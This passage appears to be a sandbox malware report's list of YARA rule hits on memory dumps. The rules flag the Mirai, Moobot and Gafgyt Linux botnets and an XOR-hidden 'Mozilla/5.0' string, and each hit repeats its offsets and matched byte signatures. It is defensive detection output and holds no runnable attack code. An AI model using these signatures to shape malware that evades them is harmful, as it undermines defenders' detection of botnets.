33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6829.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7242.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7242.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7242.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7242.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7242.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7242.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6464.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6464.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6464.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6464.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6464.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6464.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7295.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6505.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6493.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6493.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6493.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6493.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6493.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6493.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7397.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6927.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6927.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6927.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6927.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6927.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6927.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6638.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6638.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6638.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6638.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6638.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6638.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6987.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6759.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6759.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6759.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6759.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6759.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 